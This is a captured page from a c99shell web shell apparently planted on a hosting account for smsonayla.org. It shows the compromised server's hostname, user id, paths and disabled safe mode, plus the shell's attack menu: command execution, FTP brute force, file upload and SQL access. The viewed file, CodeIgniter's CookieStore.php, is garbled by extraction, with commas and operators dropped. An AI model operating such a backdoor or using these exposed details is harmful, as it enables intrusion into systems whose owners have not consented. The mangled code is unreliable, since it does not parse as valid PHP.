smsonayla.org - c99shell

!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: LiteSpeed. PHP/7.4.33 

uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13
UTC 2025 x86_64
 

uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) 

Safe-mode: OFF (not secure)

/home/necipbey/public_html/system/Cookie/   drwxr-xr-x
Free 3473.82 GB of 4265.01 GB (81.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     CookieStore.php (6.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Cookie;

use 
ArrayIterator;
use 
CodeIgniter\Cookie\Exceptions\CookieException;
use 
Countable;
use 
IteratorAggregate;
use 
Traversable;

/**
 * The CookieStore object represents an immutable collection of `Cookie` value objects.
 *
 * @implements IteratorAggregate<string, Cookie>
 */
class CookieStore implements CountableIteratorAggregate
{
    
/**
     * The cookie collection.
     *
     * @var array<string, Cookie>
     */
    
protected $cookies = [];

    
/**
     * Creates a CookieStore from an array of `Set-Cookie` headers.
     *
     * @param string[] $headers
     *
     * @throws CookieException
     *
     * @return static
     */
    
public static function fromCookieHeaders(array $headersbool $raw false)
    {
        
/**
         * @var Cookie[] $cookies
         */
        
$cookies array_filter(array_map(static function (string $header) use ($raw) {
            try {
                return 
Cookie::fromHeaderString($header$raw);
            } catch (
CookieException $e) {
                
log_message('error'$e->getMessage());

                return 
false;
            }
        }, 
$headers));

        return new static(
$cookies);
    }

    
/**
     * @param Cookie[] $cookies
     *
     * @throws CookieException
     */
    
final public function __construct(array $cookies)
    {
        
$this->validateCookies($cookies);

        foreach (
$cookies as $cookie) {
            
$this->cookies[$cookie->getId()] = $cookie;
        }
    }

    
/**
     * Checks if a `Cookie` object identified by name and
     * prefix is present in the collection.
     */
    
public function has(string $namestring $prefix '', ?string $value null): bool
    
{
        
$name $prefix $name;

        foreach (
$this->cookies as $cookie) {
            if (
$cookie->getPrefixedName() !== $name) {
                continue;
            }

            if (
$value === null) {
                return 
true// for BC
            
}

            return 
$cookie->getValue() === $value;
        }

        return 
false;
    }

    
/**
     * Retrieves an instance of `Cookie` identified by a name and prefix.
     * This throws an exception if not found.
     *
     * @throws CookieException
     */
    
public function get(string $namestring $prefix ''): Cookie
    
{
        
$name $prefix $name;

        foreach (
$this->cookies as $cookie) {
            if (
$cookie->getPrefixedName() === $name) {
                return 
$cookie;
            }
        }

        throw 
CookieException::forUnknownCookieInstance([$name$prefix]);
    }

    
/**
     * Store a new cookie and return a new collection. The original collection
     * is left unchanged.
     *
     * @return static
     */
    
public function put(Cookie $cookie)
    {
        
$store = clone $this;

        
$store->cookies[$cookie->getId()] = $cookie;

        return 
$store;
    }

    
/**
     * Removes a cookie from a collection and returns an updated collection.
     * The original collection is left unchanged.
     *
     * Removing a cookie from the store **DOES NOT** delete it from the browser.
     * If you intend to delete a cookie *from the browser*, you must put an empty
     * value cookie with the same name to the store.
     *
     * @return static
     */
    
public function remove(string $namestring $prefix '')
    {
        
$default Cookie::setDefaults();

        
$id implode(';', [$prefix $name$default['path'], $default['domain']]);

        
$store = clone $this;

        foreach (
array_keys($store->cookies) as $index) {
            if (
$index === $id) {
                unset(
$store->cookies[$index]);
            }
        }

        return 
$store;
    }

    
/**
     * Dispatches all cookies in store.
     *
     * @deprecated Response should dispatch cookies.
     */
    
public function dispatch(): void
    
{
        foreach (
$this->cookies as $cookie) {
            
$name    $cookie->getPrefixedName();
            
$value   $cookie->getValue();
            
$options $cookie->getOptions();

            if (
$cookie->isRaw()) {
                
$this->setRawCookie($name$value$options);
            } else {
                
$this->setCookie($name$value$options);
            }
        }

        
$this->clear();
    }

    
/**
     * Returns all cookie instances in store.
     *
     * @return array<string, Cookie>
     */
    
public function display(): array
    {
        return 
$this->cookies;
    }

    
/**
     * Clears the cookie collection.
     */
    
public function clear(): void
    
{
        
$this->cookies = [];
    }

    
/**
     * Gets the Cookie count in this collection.
     */
    
public function count(): int
    
{
        return 
count($this->cookies);
    }

    
/**
     * Gets the iterator for the cookie collection.
     *
     * @return Traversable<string, Cookie>
     */
    
public function getIterator(): Traversable
    
{
        return new 
ArrayIterator($this->cookies);
    }

    
/**
     * Validates all cookies passed to be instances of Cookie.
     *
     * @throws CookieException
     */
    
protected function validateCookies(array $cookies): void
    
{
        foreach (
$cookies as $index => $cookie) {
            
$type is_object($cookie) ? get_class($cookie) : gettype($cookie);

            if (! 
$cookie instanceof Cookie) {
                throw 
CookieException::forInvalidCookieInstance([static::class, Cookie::class, $type$index]);
            }
        }
    }

    
/**
     * Extracted call to `setrawcookie()` in order to run unit tests on it.
     *
     * @codeCoverageIgnore
     *
     * @deprecated
     */
    
protected function setRawCookie(string $namestring $value, array $options): void
    
{
        
setrawcookie($name$value$options);
    }

    
/**
     * Extracted call to `setcookie()` in order to run unit tests on it.
     *
     * @codeCoverageIgnore
     *
     * @deprecated
     */
    
protected function setCookie(string $namestring $value, array $options): void
    
{
        
setcookie($name$value$options);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0041 ]--